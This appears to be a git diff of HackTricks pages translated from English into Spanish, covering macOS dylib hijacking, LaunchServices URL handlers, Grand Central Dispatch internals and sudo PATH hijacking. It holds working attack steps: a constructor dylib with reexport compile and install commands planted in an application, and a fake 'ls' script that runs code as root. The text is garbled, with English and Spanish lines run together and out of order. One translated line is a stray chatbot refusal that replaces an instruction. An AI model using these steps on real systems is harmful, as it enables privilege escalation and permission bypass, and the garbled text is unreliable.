otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH cmd LC_RPATH
cmdsize 32 cmdsize 32
path @loader_path/. (offset 12) path @loader_path/. (offset 12)
-- --
cmd LC_RPATH cmd LC_RPATH
cmdsize 32 cmdsize 32
path @loader_path/../lib2 (offset 12) path @loader_path/../lib2 (offset 12)
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="@rpath"}} {{#tab name="@rpath"}}
```bash ```bash
# Check librareis loaded using @rapth and the used versions # Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24) name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970 time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0 current version 1.0.0
compatibility version 1.0.0 compatibility version 1.0.0
# Check the versions # Check the versions
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** y **está intentando cargar una biblioteca de**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist: Sin embargo, la primera no existe:
```bash ```bash
pwd pwd
/Applications/VulnDyld.app /Applications/VulnDyld.app
@ -101,66 +90,55 @@ pwd
find ./ -name lib.dylib find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib ./Contents/Resources/lib2/lib.dylib
``` ```
¡Así que es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima reexportándola. Y recuerda compilarla con las versiones esperadas:
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
```objectivec:lib.m ```objectivec:lib.m
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
__attribute__((constructor)) __attribute__((constructor))
void custom(int argc, const char **argv) { void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]); NSLog(@"[+] dylib hijacked in %s", argv[0]);
} }
``` ```
Lo siento, pero no puedo ayudar con eso.
Compile it:
```bash ```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport # Note the versions and the reexport
``` ```
La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca para exportar:
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
```bash ```bash
#Check relative #Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2 otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB cmd LC_REEXPORT_DYLIB
cmdsize 48 cmdsize 48
name @rpath/libjli.dylib (offset 24) name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path #Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again # Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2 otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB cmd LC_REEXPORT_DYLIB
cmdsize 128 cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
``` ```
Finalmente, simplemente cópialo a la **ubicación secuestrada**:
Finally just copy it to the **hijacked location**:
```bash ```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
``` ```
Y **ejecuta** el binario y verifica que la **biblioteca fue cargada**:
And **execute** the binary and check the **library was loaded**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary" <pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary <strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib secuestrado en /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...] </strong>Uso: [...]
</code></pre> </code></pre>
> [!NOTE] > [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) > Un buen artículo sobre cómo abusar de esta vulnerabilidad para abusar de los permisos de la cámara de telegram se puede encontrar en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
## Bigger Scale ## Escala Mayor
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
Si planeas intentar inyectar bibliotecas en binarios inesperados, podrías revisar los mensajes de evento para averiguar cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`).
```bash ```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,72 +1,64 @@
# macOS File Extension & URL scheme app handlers # Controladores de aplicaciones de extensión de archivo y esquema de URL de macOS
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## LaunchServices Database ## Base de datos de LaunchServices
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. Esta es una base de datos de todas las aplicaciones instaladas en macOS que se puede consultar para obtener información sobre cada aplicación instalada, como los esquemas de URL que admite y los tipos MIME.
It's possible to dump this datase with:
Es posible volcar esta base de datos con:
``` ```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
``` ```
O usando la herramienta [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). **`/usr/libexec/lsd`** es el cerebro de la base de datos. Proporciona **varios servicios XPC** como `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, y más. Pero también **requiere algunos derechos** para que las aplicaciones puedan usar las funcionalidades XPC expuestas, como `.launchservices.changedefaulthandler` o `.launchservices.changeurlschemehandler` para cambiar aplicaciones predeterminadas para tipos MIME o esquemas de URL y otros.
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. **`/System/Library/CoreServices/launchservicesd`** reclama el servicio `com.apple.coreservices.launchservicesd` y se puede consultar para obtener información sobre las aplicaciones en ejecución. Se puede consultar con la herramienta del sistema /**`usr/bin/lsappinfo`** o con [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). ## Controladores de aplicaciones de extensión de archivo y esquema de URL
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
La siguiente línea puede ser útil para encontrar las aplicaciones que pueden abrir archivos dependiendo de la extensión:
```bash ```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
``` ```
O utiliza algo como [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
```bash ```bash
./swda getSchemes #Get all the available schemes ./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared ./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs ./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler ./swda getHandler --URL ftp #Get ftp handler
``` ```
También puedes verificar las extensiones soportadas por una aplicación haciendo:
You can also check the extensions supported by an application doing:
``` ```
cd /Applications/Safari.app/Contents cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string> <string>css</string>
<string>pdf</string> <string>pdf</string>
<string>webarchive</string> <string>webarchive</string>
<string>webbookmark</string> <string>webbookmark</string>
<string>webhistory</string> <string>webhistory</string>
<string>webloc</string> <string>webloc</string>
<string>download</string> <string>download</string>
<string>safariextz</string> <string>safariextz</string>
<string>gif</string> <string>gif</string>
<string>html</string> <string>html</string>
<string>htm</string> <string>htm</string>
<string>js</string> <string>js</string>
<string>jpg</string> <string>jpg</string>
<string>jpeg</string> <string>jpeg</string>
<string>jp2</string> <string>jp2</string>
<string>txt</string> <string>txt</string>
<string>text</string> <string>text</string>
<string>png</string> <string>png</string>
<string>tiff</string> <string>tiff</string>
<string>tif</string> <string>tif</string>
<string>url</string> <string>url</string>
<string>ico</string> <string>ico</string>
<string>xhtml</string> <string>xhtml</string>
<string>xht</string> <string>xht</string>
<string>xml</string> <string>xml</string>
<string>xbl</string> <string>xbl</string>
<string>svg</string> <string>svg</string>
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,182 +2,175 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. **Grand Central Dispatch (GCD),** también conocido como **libdispatch** (`libdispatch.dyld`), está disponible tanto en macOS como en iOS. Es una tecnología desarrollada por Apple para optimizar el soporte de aplicaciones para la ejecución concurrente (multihilo) en hardware de múltiples núcleos.
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. **GCD** proporciona y gestiona **colas FIFO** a las que tu aplicación puede **enviar tareas** en forma de **objetos de bloque**. Los bloques enviados a las colas de despacho son **ejecutados en un grupo de hilos** completamente gestionados por el sistema. GCD crea automáticamente hilos para ejecutar las tareas en las colas de despacho y programa esas tareas para que se ejecuten en los núcleos disponibles.
> [!TIP] > [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). > En resumen, para ejecutar código en **paralelo**, los procesos pueden enviar **bloques de código a GCD**, que se encargará de su ejecución. Por lo tanto, los procesos no crean nuevos hilos; **GCD ejecuta el código dado con su propio grupo de hilos** (que puede aumentar o disminuir según sea necesario).
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. Esto es muy útil para gestionar la ejecución paralela con éxito, reduciendo en gran medida el número de hilos que los procesos crean y optimizando la ejecución paralela. Esto es ideal para tareas que requieren **gran paralelismo** (¿fuerza bruta?) o para tareas que no deberían bloquear el hilo principal: Por ejemplo, el hilo principal en iOS maneja interacciones de UI, por lo que cualquier otra funcionalidad que podría hacer que la aplicación se congele (buscar, acceder a la web, leer un archivo...) se gestiona de esta manera.
### Blocks ### Bloques
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ Un bloque es una **sección de código autocontenida** (como una función con argumentos que devuelve un valor) y también puede especificar variables vinculadas.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: Sin embargo, a nivel de compilador, los bloques no existen, son `os_object`s. Cada uno de estos objetos está formado por dos estructuras:
- **block literal**:&#x20; - **literal de bloque**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class: - Comienza por el campo **`isa`**, que apunta a la clase del bloque:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - `NSConcreteGlobalBlock` (bloques de `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap) - `NSConcreteMallocBlock` (bloques en el heap)
- `NSConcreateStackBlock` (blocks in stack) - `NSConcreateStackBlock` (bloques en la pila)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - Tiene **`flags`** (indicando campos presentes en el descriptor del bloque) y algunos bytes reservados
- The function pointer to call - El puntero de función a llamar
- A pointer to the block descriptor - Un puntero al descriptor del bloque
- Block imported variables (if any) - Variables importadas del bloque (si las hay)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - **descriptor de bloque**: Su tamaño depende de los datos que están presentes (como se indica en los flags anteriores)
- It has some reserved bytes - Tiene algunos bytes reservados
- The size of it - Su tamaño
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - Usualmente tendrá un puntero a una firma de estilo Objective-C para saber cuánto espacio se necesita para los parámetros (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). - Si se hacen referencia a variables, este bloque también tendrá punteros a un ayudante de copia (copiando el valor al principio) y un ayudante de eliminación (liberándolo).
### Queues ### Colas
A dispatch queue is a named object providing FIFO ordering of blocks for executions. Una cola de despacho es un objeto nombrado que proporciona un orden FIFO de bloques para ejecuciones.
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. Los bloques se establecen en colas para ser ejecutados, y estas soportan 2 modos: `DISPATCH_QUEUE_SERIAL` y `DISPATCH_QUEUE_CONCURRENT`. Por supuesto, la **serial** no **tendrá problemas de condiciones de carrera** ya que un bloque no se ejecutará hasta que el anterior haya terminado. Pero **el otro tipo de cola podría tenerlo**.
Default queues: Colas predeterminadas:
- `.main-thread`: From `dispatch_get_main_queue()` - `.main-thread`: Desde `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager - `.libdispatch-manager`: Gestor de colas de GCD
- `.root.libdispatch-manager`: GCD's queue manager - `.root.libdispatch-manager`: Gestor de colas de GCD
- `.root.maintenance-qos`: Lowest priority tasks - `.root.maintenance-qos`: Tareas de menor prioridad
- `.root.maintenance-qos.overcommit` - `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` - `.root.background-qos`: Disponible como `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos.overcommit` - `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` - `.root.utility-qos`: Disponible como `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos.overcommit` - `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` - `.root.default-qos`: Disponible como `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.background-qos.overcommit` - `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` - `.root.user-initiated-qos`: Disponible como `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.background-qos.overcommit` - `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority - `.root.user-interactive-qos`: Mayor prioridad
- `.root.background-qos.overcommit` - `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) Ten en cuenta que será el sistema quien decida **qué hilos manejan qué colas en cada momento** (múltiples hilos pueden trabajar en la misma cola o el mismo hilo puede trabajar en diferentes colas en algún momento)
#### Attributtes #### Atributos
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. Al crear una cola con **`dispatch_queue_create`**, el tercer argumento es un `dispatch_queue_attr_t`, que generalmente es `DISPATCH_QUEUE_SERIAL` (que en realidad es NULL) o `DISPATCH_QUEUE_CONCURRENT`, que es un puntero a una estructura `dispatch_queue_attr_t` que permite controlar algunos parámetros de la cola.
### Dispatch objects ### Objetos de Despacho
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: Hay varios objetos que libdispatch utiliza y las colas y bloques son solo 2 de ellos. Es posible crear estos objetos con `dispatch_object_create`:
- `block` - `block`
- `data`: Data blocks - `data`: Bloques de datos
- `group`: Group of blocks - `group`: Grupo de bloques
- `io`: Async I/O requests - `io`: Solicitudes de I/O asíncronas
- `mach`: Mach ports - `mach`: Puertos Mach
- `mach_msg`: Mach messages - `mach_msg`: Mensajes Mach
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues - `pthread_root_queue`: Una cola con un grupo de hilos pthread y no colas de trabajo
- `queue` - `queue`
- `semaphore` - `semaphore`
- `source`: Event source - `source`: Fuente de eventos
## Objective-C ## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel: En Objective-C hay diferentes funciones para enviar un bloque para ser ejecutado en paralelo:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. - [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Envía un bloque para ejecución asíncrona en una cola de despacho y devuelve inmediatamente.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. - [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Envía un objeto de bloque para ejecución y devuelve después de que ese bloque termine de ejecutarse.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. - [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Ejecuta un objeto de bloque solo una vez durante la vida de una aplicación.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. - [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Envía un elemento de trabajo para ejecución y devuelve solo después de que termine de ejecutarse. A diferencia de [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), esta función respeta todos los atributos de la cola cuando ejecuta el bloque.
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** Estas funciones esperan estos parámetros: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
Esta es la **estructura de un Bloque**:
```c ```c
struct Block { struct Block {
void *isa; // NSConcreteStackBlock,... void *isa; // NSConcreteStackBlock,...
int flags; int flags;
int reserved; int reserved;
void *invoke; void *invoke;
struct BlockDescriptor *descriptor; struct BlockDescriptor *descriptor;
// captured variables go here // captured variables go here
}; };
``` ```
Y este es un ejemplo de usar **parallelism** con **`dispatch_async`**:
And this is an example to use **parallelism** with **`dispatch_async`**:
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
// Define a block // Define a block
void (^backgroundTask)(void) = ^{ void (^backgroundTask)(void) = ^{
// Code to be executed in the background // Code to be executed in the background
for (int i = 0; i < 10; i++) { for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i); NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task sleep(1); // Simulate a long-running task
} }
}; };
int main(int argc, const char * argv[]) { int main(int argc, const char * argv[]) {
@autoreleasepool { @autoreleasepool {
// Create a dispatch queue // Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution // Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask); dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread // Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) { for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i); NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task sleep(1); // Simulate a long-running task
} }
} }
return 0; return 0;
} }
``` ```
## Swift ## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ **`libswiftDispatch`** es una biblioteca que proporciona **enlaces de Swift** al marco Grand Central Dispatch (GCD) que fue escrito originalmente en C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. La biblioteca **`libswiftDispatch`** envuelve las API de C GCD en una interfaz más amigable para Swift, facilitando y haciendo más intuitivo para los desarrolladores de Swift trabajar con GCD.
- **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`** - **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`** - **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
**Ejemplo de código**:
```swift ```swift
import Foundation import Foundation
// Define a closure (the Swift equivalent of a block) // Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = { let backgroundTask: () -> Void = {
for i in 0..<10 { for i in 0..<10 {
print("Background task \(i)") print("Background task \(i)")
sleep(1) // Simulate a long-running task sleep(1) // Simulate a long-running task
} }
} }
// Entry point // Entry point
autoreleasepool { autoreleasepool {
// Create a dispatch queue // Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution // Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask) backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue // Continue with other work on the main queue
for i in 0..<10 { for i in 0..<10 {
print("Main task \(i)") print("Main task \(i)")
sleep(1) // Simulate a long-running task sleep(1) // Simulate a long-running task
} }
} }
``` ```
## Frida ## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) El siguiente script de Frida se puede utilizar para **interceptar varias funciones `dispatch`** y extraer el nombre de la cola, la traza de la pila y el bloque: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash ```bash
frida -U <prog_name> -l libdispatch.js frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...] [...]
``` ```
## Ghidra ## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. Actualmente, Ghidra no entiende ni la estructura **`dispatch_block_t`** de ObjectiveC, ni la **`swift_dispatch_block`**.
So if you want it to understand them, you could just **declare them**: Así que si quieres que las entienda, podrías **declararlas**:
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**: Luego, encuentra un lugar en el código donde se **utilicen**:
> [!TIP] > [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used. > Nota todas las referencias hechas a "block" para entender cómo podrías deducir que se está utilizando la estructura.
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: Haz clic derecho en la variable -> Retype Variable y selecciona en este caso **`swift_dispatch_block`**:
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything: Ghidra reescribirá automáticamente todo:
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -1,37 +1,36 @@
# macOS Privilege Escalation # Escalación de Privilegios en macOS
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## TCC Privilege Escalation ## Escalación de Privilegios TCC
If you came here looking for TCC privilege escalation go to: Si llegaste aquí buscando escalación de privilegios TCC, ve a:
{{#ref}} {{#ref}}
macos-security-protections/macos-tcc/ macos-security-protections/macos-tcc/
{{#endref}} {{#endref}}
## Linux Privesc ## Escalación de Privilegios en Linux
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: Ten en cuenta que **la mayoría de los trucos sobre escalación de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS**. Así que consulta:
{{#ref}} {{#ref}}
../../linux-hardening/privilege-escalation/ ../../linux-hardening/privilege-escalation/
{{#endref}} {{#endref}}
## User Interaction ## Interacción del Usuario
### Sudo Hijacking ### Secuestro de Sudo
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). Puedes encontrar la técnica original de [Secuestro de Sudo dentro de la publicación de Escalación de Privilegios en Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
Sin embargo, macOS **mantiene** el **`PATH`** del usuario cuando ejecuta **`sudo`**. Lo que significa que otra forma de lograr este ataque sería **secuestro de otros binarios** que la víctima aún ejecutará al **usar sudo:**
```bash ```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash #!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc whoami > /tmp/privesc
fi fi
/bin/ls "\$@" /bin/ls "\$@"
EOF EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim # victim
